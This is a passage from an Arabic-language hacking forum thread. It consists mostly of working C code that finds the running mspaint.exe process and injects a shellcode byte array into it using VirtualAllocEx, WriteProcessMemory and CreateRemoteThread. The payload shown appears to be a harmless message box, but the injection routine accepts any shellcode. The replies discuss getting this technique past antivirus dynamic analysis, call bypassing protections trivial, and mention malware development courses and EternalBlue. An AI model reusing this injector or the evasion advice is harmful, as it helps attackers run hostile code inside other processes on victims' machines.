    0xE9, 0x49, 0xFF, 0xFF, 0xFF, 0x5D, 0x49, 0xC7, 0xC1, 0x40, 0x00, 0x00,
    0x00, 0x3E, 0x48, 0x8D, 0x95, 0x1A, 0x01, 0x00, 0x00, 0x3E, 0x4C, 0x8D,
    0x85, 0x3A, 0x01, 0x00, 0x00, 0x48, 0x31, 0xC9, 0x41, 0xBA, 0x45, 0x83,
    0x56, 0x07, 0xFF, 0xD5, 0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6,
    0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C,
    0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A,
    0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x48, 0x65, 0x6C, 0x6C, 0x6F,
    0x2C, 0x20, 0x66, 0x72, 0x6F, 0x6D, 0x20, 0x63, 0x72, 0x61, 0x63, 0x6B,
    0x69, 0x6E, 0x67, 0x6C, 0x65, 0x73, 0x73, 0x6F, 0x6E, 0x73, 0x2E, 0x63,
    0x6F, 0x6D, 0x00, 0x53, 0x68, 0x65, 0x6C, 0x6C, 0x63, 0x6F, 0x64, 0x65,
    0x00
};
unsigned int lengthOfShellcodePayload = 337;


int SearchForProcess(const char *processName) {

        HANDLE hSnapshotOfProcesses;
        PROCESSENTRY32 processStruct;
        int pid = 0;
               
        hSnapshotOfProcesses = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if (INVALID_HANDLE_VALUE == hSnapshotOfProcesses) return 0;
               
        processStruct.dwSize = sizeof(PROCESSENTRY32);
               
        if (!Process32First(hSnapshotOfProcesses, &processStruct)) {
                CloseHandle(hSnapshotOfProcesses);
                return 0;
        }
               
        while (Process32Next(hSnapshotOfProcesses, &processStruct)) {
                if (lstrcmpiA(processName, processStruct.szExeFile) == 0) {
                        pid = processStruct.th32ProcessID;
                        break;
                }
        }
               
        CloseHandle(hSnapshotOfProcesses);
               
        return pid;
}


int ShellcodeInject(HANDLE hProcess, unsigned char * shellcodePayload, unsigned int lengthOfShellcodePayload) {

        LPVOID pRemoteProcAllocMem = NULL;
        HANDLE hThread = NULL;

 
        pRemoteProcAllocMem = VirtualAllocEx(hProcess, NULL, lengthOfShellcodePayload, MEM_COMMIT, PAGE_EXECUTE_READ);
        WriteProcessMemory(hProcess, pRemoteProcAllocMem, (PVOID)shellcodePayload, (SIZE_T)lengthOfShellcodePayload, (SIZE_T *)NULL);
       
        hThread = CreateRemoteThread(hProcess, NULL, 0, pRemoteProcAllocMem, NULL, 0, NULL);
        if (hThread != NULL) {
                WaitForSingleObject(hThread, 500);
                CloseHandle(hThread);
                return 0;
        }
        return -1;
}


int main(void) {
   
    int pid = 0;
    HANDLE hProcess = NULL;

    pid = SearchForProcess("mspaint.exe");

    if (pid) {
        printf("mspaint.exe PID = %d\n", pid);

        // try to open target process
        hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
                        PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
                        FALSE, (DWORD) pid);

        if (hProcess != NULL) {
            ShellcodeInject(hProcess, shellcodePayload, lengthOfShellcodePayload);
            CloseHandle(hProcess);
        }
    }
    return 0;
}
مصادر :







جميل جدا . الكود مفهوم و واضح
 
تقنية الحقن تقنية ممتاز و موضوعك أخي العزيز شرحها على أحسن ما يكون
لكن للأسف مع تطور الأنتيفايرس وال av detection techniques خصوصا الdynamique analysis
تجعل الAPI's المستعملة عرضة لdetection

لكن هناك الكثير من الطرق يمكن دمجها مع هده التقنية لتجاوز الحمايات
 
صحيح لكن اول اشئ بدك تعرف وين الله حاطك وين مستواك يعني مثال ما بقدر انشر تقنيات advanced بغض النظر عن الهبل الي بتشوفو بكورسات الـ malware development الي بكتبو advanced عندي اياها كلها وعارفها كلها هاي المواضيع لو انشرها بدولتي بدون تصريح او الخ بروح ورا الشمس العب باسكت بول
 
صحيح لكن اول اشئ بدك تعرف وين الله حاطك وين مستواك يعني مثال ما بقدر انشر تقنيات advanced بغض النظر عن الهبل الي بتشوفو بكورسات الـ malware development الي بكتبو advanced عندي اياها كلها وعارفها كلها هاي المواضيع لو انشرها بدولتي بدون تصريح او الخ بروح ورا الشمس العب باسكت بول
لو فيها مضرة لا تنشر ههههه ,
تخطي الحمايات صراحة ليس بالصعب و ليس بالسهل لازم لها تفكير خارج الصندوق فقط هدا ما أردت أن اوصله بردي ليس أن أقول مثلا أن التقنية المشروحة في الدرس ليست بالفعالة
أنا متأكد أنها وحدها قادرة أن تجتاز العديد من الحمايات, أنا عن نفسي في وقت من الأوقات كنت مولع بتخطي هده الحمايات للمتعة فقط.
بالنسبة لكورسات الmalware development لا أرى فيها ما هو فعلا advanced كما قلت

ما قد نقول عنه advanced هو الثغرات المستعملة فيها من zero days كالeternal blue و الeternal romance التي استخدمت في wannacry
 
نعم تخطي الحمايات تافهه جدا فقط بدك اساسيات في Windows Internals & API و C++ و Reverse Engineering Basics وبتكون قادر
 

آخر المشاركات

عودة
أعلى